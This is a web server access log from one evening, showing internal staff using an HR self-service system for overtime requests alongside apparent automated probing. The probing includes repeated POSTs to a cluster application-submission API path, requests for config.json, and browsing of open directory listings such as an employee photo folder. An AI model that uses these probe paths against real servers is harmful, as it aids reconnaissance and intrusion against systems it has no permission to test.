100.64.0.1 - - [03/Sep/2025:19:06:53 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:06:53 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:07:17 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:07:17 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:07:22 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [03/Sep/2025:19:07:22 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [03/Sep/2025:19:07:23 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [03/Sep/2025:19:07:23 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [03/Sep/2025:19:07:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:19:07:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:19:08:46 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:08:46 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:10:33 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:19:10:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:19:10:55 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [03/Sep/2025:19:10:55 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [03/Sep/2025:19:12:05 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:12:05 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:13:54 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [03/Sep/2025:19:13:54 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [03/Sep/2025:19:14:40 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [03/Sep/2025:19:14:40 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [03/Sep/2025:19:14:50 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:14:50 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:16:05 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [03/Sep/2025:19:16:05 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [03/Sep/2025:19:19:30 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:19:30 +0800] "GET / HTTP/1.0" 200 439
192.168.11.187 - - [03/Sep/2025:19:20:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.187 - - [03/Sep/2025:19:20:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:19:20:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.187 - - [03/Sep/2025:19:20:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:19:20:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:19:20:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.187 - - [03/Sep/2025:19:21:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.187 - - [03/Sep/2025:19:21:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:19:21:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:19:21:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.187 - - [03/Sep/2025:19:21:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:19:21:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.69 - - [03/Sep/2025:19:21:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [03/Sep/2025:19:21:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.69 - - [03/Sep/2025:19:21:14 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [03/Sep/2025:19:21:14 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.69 - - [03/Sep/2025:19:21:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.69 - - [03/Sep/2025:19:21:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:19:21:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19048434302503003 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:19:21:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19048434302503003 HTTP/1.1" 200 8588
192.168.11.69 - - [03/Sep/2025:19:21:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.69 - - [03/Sep/2025:19:21:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [03/Sep/2025:19:21:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.69 - - [03/Sep/2025:19:21:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:19:21:24 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19048434302503003 HTTP/1.1" 200 10764
192.168.11.187 - - [03/Sep/2025:19:21:24 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19048434302503003 HTTP/1.1" 200 10764 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19048434302503003" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:19:21:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:19:21:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068
192.168.11.187 - - [03/Sep/2025:19:21:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:19:21:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.69 - - [03/Sep/2025:19:21:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7944875946308212 HTTP/1.1" 200 8588
192.168.11.69 - - [03/Sep/2025:19:21:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7944875946308212 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [03/Sep/2025:19:21:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7944875946308212 HTTP/1.1" 200 14546 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7944875946308212" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [03/Sep/2025:19:21:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7944875946308212 HTTP/1.1" 200 14546
100.64.0.1 - - [03/Sep/2025:19:21:44 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:19:21:44 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.11.69 - - [03/Sep/2025:19:21:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [03/Sep/2025:19:21:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
192.168.11.69 - - [03/Sep/2025:19:21:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521
192.168.11.69 - - [03/Sep/2025:19:21:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [03/Sep/2025:19:21:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166004
192.168.11.69 - - [03/Sep/2025:19:21:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166004 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:19:22:49 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:22:49 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:23:12 +0800] "\x16\x03\x01\x016\x01" 501 208
100.64.0.1 - - [03/Sep/2025:19:23:12 +0800] "\x16\x03\x01\x016\x01" 501 208 "-" "-"
100.64.0.1 - - [03/Sep/2025:19:23:14 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:19:23:14 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
100.64.0.1 - - [03/Sep/2025:19:23:20 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:19:23:20 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:21 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:19:23:21 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:22 +0800] "GET /sitemap.xml HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:19:23:22 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:29 +0800] "GET /config.json HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:19:23:29 +0800] "GET /config.json HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:30 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:19:23:30 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:30 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [03/Sep/2025:19:23:30 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:30 +0800] "GET /eHR/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:19:23:30 +0800] "GET /eHR/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:46 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:46 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:19:23:47 +0800] "GET /idcard/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:19:23:47 +0800] "GET /idcard/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:48 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:19:23:48 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:49 +0800] "GET /emphoto/ HTTP/1.1" 200 25014
100.64.0.1 - - [03/Sep/2025:19:23:49 +0800] "GET /emphoto/ HTTP/1.1" 200 25014 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:54 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:19:23:54 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:56 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [03/Sep/2025:19:23:56 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:57 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125
100.64.0.1 - - [03/Sep/2025:19:23:57 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:23:58 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889
100.64.0.1 - - [03/Sep/2025:19:23:58 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:24:00 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845
100.64.0.1 - - [03/Sep/2025:19:24:00 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:19:24:58 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:19:24:58 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:19:27:30 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:27:30 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:27:36 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:27:36 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:30:05 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:30:05 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:32:41 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:32:41 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:32:50 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:32:50 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:34:23 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:34:23 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:34:35 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:34:35 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:35:37 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:35:37 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:35:49 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:19:35:49 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:19:36:52 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:36:52 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:37:46 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:37:46 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:37:48 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:37:48 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:38:31 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:38:31 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:40:27 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:40:27 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:40:37 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:40:37 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:40:38 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:19:40:38 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:19:41:37 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:41:37 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:44:08 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:44:08 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:50:52 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:50:52 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:52:00 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:52:00 +0800] "GET / HTTP/1.0" 200 439
